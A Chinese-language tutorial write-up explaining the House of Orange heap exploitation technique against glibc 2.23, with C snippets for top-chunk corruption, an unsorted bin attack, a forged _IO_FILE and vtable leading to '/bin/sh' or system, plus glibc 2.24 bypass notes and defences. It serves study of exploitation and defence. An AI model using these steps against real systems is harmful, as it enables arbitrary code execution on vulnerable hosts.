house of orange 漏洞
字数 1595 2025-08-05 08:20:12
House of Orange 漏洞分析与利用
1. 漏洞概述
House of Orange 是一种针对 glibc 堆管理机制的复杂利用技术,主要利用了 unsorted bin attack 和 _IO_FILE 结构体的特性。该技术在 glibc-2.23 及之前版本中有效,后续版本由于增加了安全措施而变得难以利用。
2. 基本原理
2.1 核心思想
House of Orange 通过以下步骤实现利用:
- 利用堆溢出修改 Top chunk 的大小
- 触发
sysmalloc扩展堆,导致旧 Top chunk 被释放到 unsorted bin - 利用 unsorted bin attack 修改
_IO_list_all指针 - 构造伪造的
_IO_FILE结构体 - 触发
abort()流程中的_IO_flush_all_lockp来执行任意代码
2.2 关键函数调用链
__libc_malloc
=> malloc_printerr
=> __libc_message
=> abort
=> _IO_flush_all_lockp
3. 详细利用步骤
3.1 初始堆布局
char *p1 = malloc(0x400 - 16);
分配第一个 chunk 后,堆布局如下:
- 已分配 chunk (0x400 字节)
- Top chunk (剩余空间)
3.2 修改 Top chunk 大小
size_t *top = (size_t *)((char *)p1 + 0x400 - 16);
top[1] = 0xc01; // 设置 Top chunk 大小
需要满足两个条件:
- Top chunk + size 必须页对齐
- Top chunk 的 prev_inuse 位必须设置
3.3 触发堆扩展
p2 = malloc(0x1000); // 大于当前 Top chunk 的大小
这会触发 sysmalloc,导致:
- 旧 Top chunk 被释放到 unsorted bin
- 新 Top chunk 在 mmap 区域分配
3.4 利用 unsorted bin attack
io_list_all = top[2] + 0x9a8; // 计算 _IO_list_all 地址
top[3] = io_list_all - 0x10; // 修改 bk 指针
通过修改 unsorted bin 中 chunk 的 bk 指针,可以在解链时实现任意地址写。
3.5 构造伪造的 _IO_FILE 结构体
// 设置 /bin/sh
memcpy((char *)top, "/bin/sh\x00", 8);
// 修改 size 字段,使 chunk 被放入 smallbin[4]
top[1] = 0x61;
// 构造 _IO_FILE 结构体
_IO_FILE *fp = (_IO_FILE *)top;
fp->_mode = 0; // top+0xc0
fp->_IO_write_base = (char *)2; // top+0x20
fp->_IO_write_ptr = (char *)3; // top+0x28
// 设置 vtable
size_t *jump_table = &top[12];
jump_table[3] = (size_t)&winner;
*(size_t *)((size_t)fp + sizeof(_IO_FILE)) = (size_t)jump_table;
3.6 触发利用
malloc(10); // 触发整个利用链
4. 条件检查绕过
在 _IO_flush_all_lockp 中会检查以下条件:
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset(fp) == 0 && fp->_mode > 0
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
#endif
) && _IO_OVERFLOW(fp, EOF) == EOF)
成功概率约为 50%,因为 fp->_mode 的值受随机化影响。
5. glibc-2.24 及之后的版本
5.1 vtable 检查
glibc-2.24 引入了 _IO_vtable_check,要求 vtable 指针必须在 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间。
5.2 利用 _IO_str_jumps
可以劫持 _IO_str_jumps 中的函数指针:
_IO_str_jumps = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7fb33166d448 <_IO_str_finish>,
__overflow = 0x7fb33166d0f6 <__GI__IO_str_overflow>,
...
}
利用 _IO_str_finish 函数:
void _IO_str_finish(_IO_FILE *fp, int dummy) {
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer)(fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish(fp, 0);
}
利用方法:
- 将 vtable 指向
_IO_str_jumps - 将 fp 的 0xe8 偏移覆盖为 system 函数
- 将 fp 的 0x38 偏移覆盖为 "/bin/sh" 字符串
6. glibc-2.27 及之后版本
在 glibc-2.27 中,abort() 不再调用 _IO_flush_all_lockp,因此 House of Orange 技术失效。
7. House of Orange by Thread
7.1 原理
当 thread_arena.top 的 size 不够分配时:
- 如果原 heap 大于 0x4000000,
sysmalloc会 free 掉 top chunk - 转而向低地址申请新的内存
7.2 利用代码
void *thread_func(void *p) {
char *ptr[NUM] = {0}, *end, *new;
int i;
for (i = 0; i < NUM; i++) {
ptr[i] = malloc(0x1000);
}
end = malloc(0x800);
new = malloc(0x1000);
return NULL;
}
8. 防御措施
- glibc-2.24 引入的 vtable 检查
- glibc-2.27 移除的
_IO_flush_all_lockp调用 - 堆分配器中的各种完整性检查
9. 总结
House of Orange 是一种复杂的利用技术,结合了堆管理和 IO 子系统的特性。虽然现代 glibc 版本已经修复了相关漏洞,但理解其原理对于学习高级利用技术和防御方法仍然很有价值。